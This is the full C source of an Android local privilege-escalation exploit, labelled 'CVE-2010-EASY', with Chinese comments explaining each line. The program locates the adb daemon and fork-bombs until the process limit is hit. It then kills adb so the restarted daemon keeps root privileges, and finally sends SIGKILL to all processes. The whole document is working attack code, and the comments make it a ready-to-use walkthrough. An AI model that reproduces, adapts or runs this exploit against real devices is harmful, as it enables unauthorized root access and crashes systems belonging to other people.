//头文件包含
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
//输出错误消息后退出程序
void die(const char *msg)
{
perror(msg);
exit(errno);
}
//搜索ADB进程,返回其PID,没有找到时返回0
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0; //初始化为0,如果没有找到adb将一直保持0值
//遍历进程ID的有效范围
for (i = 0; i < 32000; ++i)
{
//拼接字符串"/proc/<PID>/cmdline"
sprintf(buf, "/proc/%d/cmdline", i);
//打开失败,进程不存在或无权访问
if ((fd = open(buf, O_RDONLY)) < 0)
{
//跳过这个PID,继续下一轮循环
continue;
} //end if
//buf填0
memset(buf, 0, sizeof(buf));
//读取进程的命令行
read(fd, buf, sizeof(buf) - 1);
//关闭进程
close(fd);
//在命令行中查找"/sbin/adb"
if (strstr(buf, "/sbin/adb"))
{
//找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID
found = i;
break;
} //end if
} //end for
//返回找到的PID或0值
return found;
}
//重启adb进程,参数为当前adb进程的PID
void restart_adb(pid_t pid)
{
//直接杀死进程(sig = SIGKILL)
kill(pid, 9);
}
//等待具有root权限的adb进程
//参数为原有adb进程的PID
void wait_for_root_adb(pid_t old_adb)
{
pid_t p = 0;
//死循环,只能由里面的break跳出
for (;;)
{
//搜索adb进程
p = find_adb();
//找到了adb进程,并且不是原来那个旧的adb进程
if (p != 0 && p != old_adb)
{
//退出循环
break;
}
//休息1秒,防止大量占用CPU
sleep(1);
} //end for
//休息5秒,等待新的adb进程初始化完毕
sleep(5);
//将SIGKILL广播给系统中的所有进程
kill(-1, 9);
}
//程序入口点
int main(int argc, char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;
//启动时显示的版本与版权信息
printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C
");
printf(" checking NPROC limit ...
");
//获取当前进程可以创建的最大子进程数量
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
{
//失败时输出消息退出
die("[-] getrlimit");
}
//检查是否有最大子进程数量限制
if (rl.rlim_cur == RLIM_INFINITY)
{
//当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.
");
exit(1);
}
//输出最大子进程数量软性限制和硬性限制
printf("[+] RLIMIT_NPROC={%lu, %lu}
", rl.rlim_cur, rl.rlim_max);
printf(" Searching for adb ...
");
//查找adb进程
adb_pid = find_adb();
//检查是否找到了adb进程
if (!adb_pid)
{
//没有找到时直接退出
die("[-] Cannot find adb");
}
//输出adb进程的PID
printf("[+] Found adb as PID %d
", adb_pid);
//输出一大堆废话
printf(" Spawning children. Dont type anything and wait for reset!
");
printf("
If you like what we are doing you can send us PayPal money to
"
" 7-4-3-C@web.de so we can compensate time, effort and HW costs.
"
" If you are a company and feel like you profit from our work,
"
" we also accept donations > 1000 USD!
");
printf("
adb connection will be reset. restart adb server on desktop and re-login.
");
//休息5秒,防止当前的adb进程没有完全初始化
sleep(5);
//如果在父进程中(已有子进程)
if (fork() > 0)
{
//退出
exit(0);
}
//创建一个新的进程组
setsid();
//创建管道
pipe(pepe);
//如果在子进程中
if (fork() == 0)
{
//关闭输入管道
close(pepe[0]);
//死循环,直到满足条件时退出进程
for (;;)
{
//如果是子进程
if ((p = fork()) == 0)
{
//直接退出
exit(0);
}
else if (p < 0) //创建进程失败,说明已达到进程数最大值
{
//确保代码只执行一次,防止多个进程反复输出信息
if (new_pids)
{
printf("
[+] Forked %d childs.
", pids);
new_pids = 0;
//在输出管道中写入一个字节,然后关闭管道
//相当于通知顶级父进程fork炸弹完成
write(pepe[1], &c, 1);
close(pepe[1]);
}
}
else
{
//进程总数+1
++pids;
}
}
}
//关闭输出管道
close(pepe[1]);
//从输入管道中读一个字符,用来等待前面创建的子进程到达最大值
read(pepe[0], &c, 1);
//重启adb
restart_adb(adb_pid);
//在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位
if (fork() == 0)
{
//子进程里继续开子进程,保证进程空位被占满
fork();
//无限休眠,永不退出
for (;;)
{
sleep(0x743C);
}
}
//等待具有root权限的adb启动
wait_for_root_adb(adb_pid);
//执行完毕
return 0;
}